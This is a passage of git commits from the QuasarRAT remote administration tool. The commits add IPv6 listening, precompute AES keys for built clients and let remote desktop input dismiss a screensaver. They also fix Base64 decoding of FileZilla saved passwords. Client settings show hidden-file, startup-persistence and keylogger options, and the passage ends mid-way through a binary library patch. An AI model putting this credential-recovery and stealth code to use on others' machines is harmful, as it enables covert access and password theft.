(btnListen.Text == "Stop listening" && _listenServer.Listening) @@ -116,6 +119,7 @@ private void btnListen_Click(object sender, EventArgs e) btnListen.Text = "Start listening"; ncPort.Enabled = true; txtPassword.Enabled = true; + chkIPv6Support.Enabled = true; } } } @@ -140,6 +144,7 @@ private void btnSave_Click(object sender, EventArgs e) } Settings.ListenPort = port; + Settings.IPv6Support = chkIPv6Support.Checked; Settings.AutoListen = chkAutoListen.Checked; Settings.ShowPopup = chkPopup.Checked; if (password != Settings.Password) @@ -186,5 +191,10 @@ private void chkShowPassword_CheckedChanged(object sender, EventArgs e) { ShowPassword(chkShowPassword.Checked); } + + private void chkIPv6Support_CheckedChanged(object sender, EventArgs e) + { + + } } } \ No newline at end of file From e883dae76be0d89f0e340367fd55b3b7cc0ac1b6 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 7 Jul 2016 22:59:05 +0200 Subject: [PATCH 057/229] Fixed HostHelper --- Client/Core/Helper/HostHelper.cs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/Client/Core/Helper/HostHelper.cs b/Client/Core/Helper/HostHelper.cs index 33236ab51..31d3a3a08 100644 --- a/Client/Core/Helper/HostHelper.cs +++ b/Client/Core/Helper/HostHelper.cs @@ -15,14 +15,15 @@ public static List GetHostsList(string rawHosts) var hosts = rawHosts.Split(';'); - foreach (var hostPart in from host in hosts where (!string.IsNullOrEmpty(host) && host.Contains(':')) select host.Split(':')) + foreach (var host in hosts) { - if (hostPart.Length != 2 || hostPart[0].Length < 1 || hostPart[1].Length < 1) continue; // invalid, ignore host + // invalid host, ignore + if ((string.IsNullOrEmpty(host) || !host.Contains(':'))) continue; ushort port; - if (!ushort.TryParse(hostPart[1], out port)) continue; // invalid, ignore host + if (!ushort.TryParse(host.Substring(host.LastIndexOf(':') + 1), out port)) continue; // invalid, ignore host - hostsList.Add(new Host { Hostname = hostPart[0], Port = port }); + hostsList.Add(new Host {Hostname = host.Substring(0, host.LastIndexOf(':')), Port = port}); } return hostsList; From 7566d896ab097b36cbac1dfdcb0460e177722ba3 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 7 Jul 2016 23:06:11 +0200 Subject: [PATCH 058/229] Removed unused event handler --- Server/Forms/FrmSettings.Designer.cs | 1 - Server/Forms/FrmSettings.cs | 5 ----- 2 files changed, 6 deletions(-) diff --git a/Server/Forms/FrmSettings.Designer.cs b/Server/Forms/FrmSettings.Designer.cs index 08f0f8c14..d7410e942 100644 --- a/Server/Forms/FrmSettings.Designer.cs +++ b/Server/Forms/FrmSettings.Designer.cs @@ -255,7 +255,6 @@ private void InitializeComponent() this.chkIPv6Support.TabIndex = 5; this.chkIPv6Support.Text = "Enable IPv6 support"; this.chkIPv6Support.UseVisualStyleBackColor = true; - this.chkIPv6Support.CheckedChanged += new System.EventHandler(this.chkIPv6Support_CheckedChanged); // // FrmSettings // diff --git a/Server/Forms/FrmSettings.cs b/Server/Forms/FrmSettings.cs index 40a5b5232..81393364d 100644 --- a/Server/Forms/FrmSettings.cs +++ b/Server/Forms/FrmSettings.cs @@ -191,10 +191,5 @@ private void chkShowPassword_CheckedChanged(object sender, EventArgs e) { ShowPassword(chkShowPassword.Checked); } - - private void chkIPv6Support_CheckedChanged(object sender, EventArgs e) - { - - } } } \ No newline at end of file From c7bcfa55a795151e2cfed7090db0c6d6dc824361 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 7 Jul 2016 23:22:53 +0200 Subject: [PATCH 059/229] Updated README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4702ecd1d..8ae7f8550 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ Quasar is a fast and light-weight remote administration tool coded in C#. Provid Features --- -* Buffered TCP/IP network stream +* TCP network stream (IPv4 & IPv6 support) * Fast network serialization (NetSerializer) * Compressed (QuickLZ) & Encrypted (AES-128) communication * Multi-Threaded From 8da6c2b352c1075bea774b3a167eb62c753c877d Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 8 Jul 2016 22:20:55 +0200 Subject: [PATCH 060/229] Increase iteration count and store derived keys in client #466 --- Client/Config/Settings.cs | 29 ++++++++++++------------ Client/Core/Cryptography/AES.cs | 12 +++++++--- Client/Program.cs | 2 +- Server/Core/Build/ClientBuilder.cs | 24 ++++++++++++-------- Server/Core/Cryptography/AES.cs | 6 ++--- Server/Core/Helper/CryptographyHelper.cs | 14 +++++++++++- 6 files changed, 55 insertions(+), 32 deletions(-) diff --git a/Client/Config/Settings.cs b/Client/Config/Settings.cs index 7191cebc9..b6d995ac7 100644 --- a/Client/Config/Settings.cs +++ b/Client/Config/Settings.cs @@ -13,7 +13,8 @@ public static class Settings public static string VERSION = System.Windows.Forms.Application.ProductVersion; public static string HOSTS = "localhost:4782;"; public static int RECONNECTDELAY = 500; - public static string PASSWORD = "1234"; + public static string KEY = "1WvgEMPjdwfqIMeM9MclyQ=="; + public static string AUTHKEY = "NcFtjbDOcsw7Evd3coMC0y4koy/SRZGydhNmno81ZOWOvdfg7sv0Cj5ad2ROUfX4QMscAIjYJdjrrs41+qcQwg=="; public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; public static string DIR = Environment.GetFolderPath(SPECIALFOLDER); public static string SUBFOLDER = "Test"; @@ -36,22 +37,23 @@ public static bool Initialize() } #else public static string VERSION = ""; - public static string HOSTS = "localhost:4782;"; + public static string HOSTS = ""; public static int RECONNECTDELAY = 5000; - public static string PASSWORD = "1234"; + public static string KEY = ""; + public static string AUTHKEY = ""; public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; public static string DIR = Environment.GetFolderPath(SPECIALFOLDER); - public static string SUBFOLDER = "SUB"; - public static string INSTALLNAME = "INSTALL"; + public static string SUBFOLDER = ""; + public static string INSTALLNAME = ""; public static bool INSTALL = false; - public static bool STARTUP = true; - public static string MUTEX = "MUTEX"; - public static string STARTUPKEY = "STARTUP"; - public static bool HIDEFILE = true; - public static bool ENABLELOGGER = true; - public static string ENCRYPTIONKEY = "ENCKEY"; - public static string TAG = "RELEASE"; - public static string LOGDIRECTORYNAME = "Logs"; + public static bool STARTUP = false; + public static string MUTEX = ""; + public static string STARTUPKEY = ""; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = ""; + public static string TAG = ""; + public static string LOGDIRECTORYNAME = ""; public static bool HIDELOGDIRECTORY = false; public static bool HIDEINSTALLSUBFOLDER = false; @@ -62,7 +64,6 @@ public static bool Initialize() TAG = AES.Decrypt(TAG); VERSION = AES.Decrypt(VERSION); HOSTS = AES.Decrypt(HOSTS); - PASSWORD = AES.Decrypt(PASSWORD); SUBFOLDER = AES.Decrypt(SUBFOLDER); INSTALLNAME = AES.Decrypt(INSTALLNAME); MUTEX = AES.Decrypt(MUTEX); diff --git a/Client/Core/Cryptography/AES.cs b/Client/Core/Cryptography/AES.cs index 449c35c0c..b2848a47b 100644 --- a/Client/Core/Cryptography/AES.cs +++ b/Client/Core/Cryptography/AES.cs @@ -13,7 +13,7 @@ public static class AES private static byte[] _defaultKey; private static byte[] _defaultAuthKey; - private static readonly byte[] Salt = + public static readonly byte[] Salt = { 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 @@ -21,13 +21,19 @@ public static class AES public static void SetDefaultKey(string key) { - using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 2000)) + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 50000)) { _defaultKey = derive.GetBytes(16); _defaultAuthKey = derive.GetBytes(64); } } + public static void SetDefaultKey(string key, string authKey) + { + _defaultKey = Convert.FromBase64String(key); + _defaultAuthKey = Convert.FromBase64String(authKey); + } + public static string Encrypt(string input, string key) { return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input), Encoding.UTF8.GetBytes(key))); @@ -94,7 +100,7 @@ public static byte[] Encrypt(byte[] input, byte[] key) if (key == null || key.Length == 0) throw new Exception("Key can not be empty."); byte[] authKey; - using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 2000)) + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 50000)) { key = derive.GetBytes(16); authKey = derive.GetBytes(64); diff --git a/Client/Program.cs b/Client/Program.cs index 2ffef74f5..73b3836bc 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -90,7 +90,7 @@ private static bool Initialize() if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect return false; - AES.SetDefaultKey(Settings.PASSWORD); + AES.SetDefaultKey(Settings.KEY, Settings.AUTHKEY); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index add297892..4b3c1dacd 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -22,7 +22,8 @@ public static class ClientBuilder public static void Build(BuildOptions options) { // PHASE 1 - Settings - string encKey = FileHelper.GetRandomFilename(20); + string encKey = FileHelper.GetRandomFilename(20), key, authKey; + CryptographyHelper.DeriveKeys(options.Password, out key, out authKey); AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin"); foreach (var typeDef in asmDef.Modules[0].Types) @@ -47,28 +48,31 @@ public static void Build(BuildOptions options) case 2: //ip/hostname methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey); break; - case 3: //password - methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey); + case 3: //key + methodDef.Body.Instructions[i].Operand = key; break; - case 4: //installsub + case 4: //authkey + methodDef.Body.Instructions[i].Operand = authKey; + break; + case 5: //installsub methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey); break; - case 5: //installname + case 6: //installname methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey); break; - case 6: //mutex + case 7: //mutex methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey); break; - case 7: //startupkey + case 8: //startupkey methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey); break; - case 8: //encryption key + case 9: //encryption key methodDef.Body.Instructions[i].Operand = encKey; break; - case 9: //tag + case 10: //tag methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey); break; - case 10: //LogDirectoryName + case 11: //LogDirectoryName methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey); break; } diff --git a/Server/Core/Cryptography/AES.cs b/Server/Core/Cryptography/AES.cs index 9f33d9b61..86c584383 100644 --- a/Server/Core/Cryptography/AES.cs +++ b/Server/Core/Cryptography/AES.cs @@ -13,7 +13,7 @@ public static class AES private static byte[] _defaultKey; private static byte[] _defaultAuthKey; - private static readonly byte[] Salt = + public static readonly byte[] Salt = { 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 @@ -21,7 +21,7 @@ public static class AES public static void SetDefaultKey(string key) { - using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 2000)) + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 50000)) { _defaultKey = derive.GetBytes(16); _defaultAuthKey = derive.GetBytes(64); @@ -94,7 +94,7 @@ public static byte[] Encrypt(byte[] input, byte[] key) if (key == null || key.Length == 0) throw new Exception("Key can not be empty."); byte[] authKey; - using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 2000)) + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 50000)) { key = derive.GetBytes(16); authKey = derive.GetBytes(64); diff --git a/Server/Core/Helper/CryptographyHelper.cs b/Server/Core/Helper/CryptographyHelper.cs index e1f656385..bdb844f5b 100644 --- a/Server/Core/Helper/CryptographyHelper.cs +++ b/Server/Core/Helper/CryptographyHelper.cs @@ -1,4 +1,7 @@ -using System.Runtime.CompilerServices; +using System; +using System.Runtime.CompilerServices; +using System.Security.Cryptography; +using xServer.Core.Cryptography; namespace xServer.Core.Helper { @@ -25,5 +28,14 @@ public static bool AreEqual(byte[] a1, byte[] a2) } return result; } + + public static void DeriveKeys(string password, out string key, out string authKey) + { + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(password, AES.Salt, 50000)) + { + key = Convert.ToBase64String(derive.GetBytes(16)); + authKey = Convert.ToBase64String(derive.GetBytes(64)); + } + } } } From 3d885ae922aecc728a13d61a669aa88325f82436 Mon Sep 17 00:00:00 2001 From: ubbelol Date: Wed, 13 Jul 2016 23:55:36 +0200 Subject: [PATCH 061/229] Remote desktop can now wake a client up from an active screensaver (win10) --- Client/Core/Commands/SurveillanceHandler.cs | 16 ++++++ Client/Core/Helper/NativeMethodsHelper.cs | 64 ++++++++++++++++++++- Client/Core/Utilities/NativeMethods.cs | 51 +++++++++++++--- 3 files changed, 122 insertions(+), 9 deletions(-) diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs index b6884edb7..cf3394e09 100644 --- a/Client/Core/Commands/SurveillanceHandler.cs +++ b/Client/Core/Commands/SurveillanceHandler.cs @@ -112,6 +112,19 @@ public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command int offsetY = allScreens[command.MonitorIndex].Bounds.Y; Point p = new Point(command.X + offsetX, command.Y + offsetY); + // Disable screensaver if active before input + switch (command.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + case MouseAction.RightDown: + case MouseAction.RightUp: + case MouseAction.MoveCursor: + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + break; + } + switch (command.Action) { case MouseAction.LeftDown: @@ -140,6 +153,9 @@ public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command public static void HandleDoKeyboardEvent(Packets.ServerPackets.DoKeyboardEvent command, Client client) { + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + NativeMethodsHelper.DoKeyPress(command.Key, command.KeyDown); } diff --git a/Client/Core/Helper/NativeMethodsHelper.cs b/Client/Core/Helper/NativeMethodsHelper.cs index 9a1e06e9a..b29101fa6 100644 --- a/Client/Core/Helper/NativeMethodsHelper.cs +++ b/Client/Core/Helper/NativeMethodsHelper.cs @@ -1,4 +1,5 @@ -using System.Drawing; +using System; +using System.Drawing; using System.Runtime.InteropServices; using xClient.Core.Utilities; @@ -17,7 +18,7 @@ public static class NativeMethodsHelper public static uint GetLastInputInfoTickCount() { NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); - lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo); + lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo); lastInputInfo.dwTime = 0; return NativeMethods.GetLastInputInfo(ref lastInputInfo) ? lastInputInfo.dwTime : 0; @@ -47,5 +48,64 @@ public static void DoKeyPress(byte key, bool keyDown) { NativeMethods.keybd_event(key, 0, keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, 0); } + + private const int SPI_GETSCREENSAVERRUNNING = 114; + + public static bool IsScreensaverActive() + { + var running = IntPtr.Zero; + + if (!NativeMethods.SystemParametersInfo( + SPI_GETSCREENSAVERRUNNING, + 0, + ref running, + 0)) + { + // Something went wrong (Marshal.GetLastWin32Error) + } + + return running != IntPtr.Zero; + } + + private const uint DESKTOP_WRITEOBJECTS = 0x0080; + private const uint DESKTOP_READOBJECTS = 0x0001; + private const int WM_CLOSE = 16; + private const uint SPI_SETSCREENSAVEACTIVE = 0x0011; + private const uint SPIF_SENDWININICHANGE = 0x0002; + + public static void DisableScreensaver() + { + var handle = NativeMethods.OpenDesktop("Screen-saver", 0, + false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS); + + if (handle != IntPtr.Zero) + { + NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) => + { + if (NativeMethods.IsWindowVisible(hWnd)) + NativeMethods.PostMessage(hWnd, WM_CLOSE, 0, 0); + + // Continue enumeration even if it fails + return true; + }, + IntPtr.Zero); + NativeMethods.CloseDesktop(handle); + } + else + { + NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, + 0, 0); + } + + // We need to restart the counter for next screensaver according to + // https://support.microsoft.com/en-us/kb/140723 + // (this may not be needed since we simulate mouse click afterwards) + + var dummy = IntPtr.Zero; + + // Doesn't really matter if this fails + NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE); + + } } } diff --git a/Client/Core/Utilities/NativeMethods.cs b/Client/Core/Utilities/NativeMethods.cs index 12b433b1d..cf2ec5688 100644 --- a/Client/Core/Utilities/NativeMethods.cs +++ b/Client/Core/Utilities/NativeMethods.cs @@ -12,10 +12,8 @@ public static class NativeMethods public struct LASTINPUTINFO { public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO)); - [MarshalAs(UnmanagedType.U4)] - public UInt32 cbSize; - [MarshalAs(UnmanagedType.U4)] - public UInt32 dwTime; + [MarshalAs(UnmanagedType.U4)] public UInt32 cbSize; + [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] @@ -23,11 +21,11 @@ public struct LASTINPUTINFO public static extern bool DeleteFile(string name); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] - public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); + public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, - [MarshalAs(UnmanagedType.LPStr)]string procName); + [MarshalAs(UnmanagedType.LPStr)] string procName); [DllImport("user32.dll")] public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); @@ -60,7 +58,8 @@ public static extern IntPtr GetProcAddress(IntPtr hModule, /// [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + public static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, + [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); [DllImport("gdi32.dll")] public static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData); @@ -79,5 +78,43 @@ public static extern IntPtr GetProcAddress(IntPtr hModule, [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] public static extern unsafe int memcpy(void* dst, void* src, uint count); + + [DllImport("user32.dll")] + public static extern bool SystemParametersInfo( + uint uAction, uint uParam, ref IntPtr lpvParam, + uint flags); + + [DllImport("user32.dll")] + public static extern bool SystemParametersInfo( + uint uAction, uint uParam, ref bool lpvParam, + uint flags); + + [DllImport("user32.dll")] + public static extern int PostMessage(IntPtr hWnd, + int wMsg, int wParam, int lParam); + + [DllImport("user32.dll")] + public static extern IntPtr OpenDesktop( + string hDesktop, int flags, bool inherit, + uint desiredAccess); + + [DllImport("user32.dll")] + public static extern bool CloseDesktop( + IntPtr hDesktop); + + public delegate bool EnumDesktopWindowsProc( + IntPtr hDesktop, IntPtr lParam); + + [DllImport("user32.dll")] + public static extern bool EnumDesktopWindows( + IntPtr hDesktop, EnumDesktopWindowsProc callback, + IntPtr lParam); + + [DllImport("user32.dll")] + public static extern bool IsWindowVisible( + IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern IntPtr GetForegroundWindow(); } } From 8ef33f4d17ce95200add6189f83272f076076fc2 Mon Sep 17 00:00:00 2001 From: ubbelol Date: Sun, 17 Jul 2016 17:14:44 +0200 Subject: [PATCH 062/229] Fix FileZilla base64 decoding --- Client/Core/Recovery/FtpClients/FileZilla.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Client/Core/Recovery/FtpClients/FileZilla.cs b/Client/Core/Recovery/FtpClients/FileZilla.cs index 5e1c6b0fc..53ba678ee 100644 --- a/Client/Core/Recovery/FtpClients/FileZilla.cs +++ b/Client/Core/Recovery/FtpClients/FileZilla.cs @@ -40,7 +40,7 @@ public static List GetSavedPasswords() if (xmlNodeChild.Name == "User") szUsername = xmlNodeChild.InnerText; if (xmlNodeChild.Name == "Pass") - szPassword = xmlNodeChild.InnerText; + szPassword = Base64Decode(xmlNodeChild.InnerText); } data.Add(new RecoveredAccount From 4ec1a191b9ff031f405ee9659e3c7c38ecc727b0 Mon Sep 17 00:00:00 2001 From: ubbelol Date: Mon, 18 Jul 2016 14:44:06 +0200 Subject: [PATCH 063/229] Update Mono.Nat library to fix freezing issue If you had UPnP port forwarding activated when listening and then tried to stop listening the application would freeze up on https://github.com/quasar/QuasarRAT/blob/8768f3177c33ed706f877b062ab51b1c107b403d/Server/Core/Networking/Utilities/UPnP.cs#L105 --- Server/Core/Networking/Utilities/UPnP.cs | 4 ++-- Server/lib/Mono.Nat.dll | Bin 46592 -> 41984 bytes 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Server/Core/Networking/Utilities/UPnP.cs b/Server/Core/Networking/Utilities/UPnP.cs index e6b194f74..e9bc4ee96 100644 --- a/Server/Core/Networking/Utilities/UPnP.cs +++ b/Server/Core/Networking/Utilities/UPnP.cs @@ -70,7 +70,7 @@ public static bool CreatePortMap(int port, out int externalPort) Mapping mapping = new Mapping(Protocol.Tcp, port, port); for (int i = 0; i < 3; i++) - _device.CreatePortMap(mapping); + _device.CreatePortMapAsync(mapping); if (_mappings.ContainsKey(mapping.PrivatePort)) _mappings[mapping.PrivatePort] = mapping; @@ -102,7 +102,7 @@ public static void DeletePortMap(int port) try { for (int i = 0; i < 3; i++) - _device.DeletePortMap(mapping); + _device.DeletePortMapAsync(mapping); } catch (MappingException) { diff --git a/Server/lib/Mono.Nat.dll b/Server/lib/Mono.Nat.dll index 664167458caf19cdfdb4362bc0f7f74befb34f54..217d20f9526b0bdc6cd5eef3cd170b01b2527f6a 100644 GIT binary patch literal 41984 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 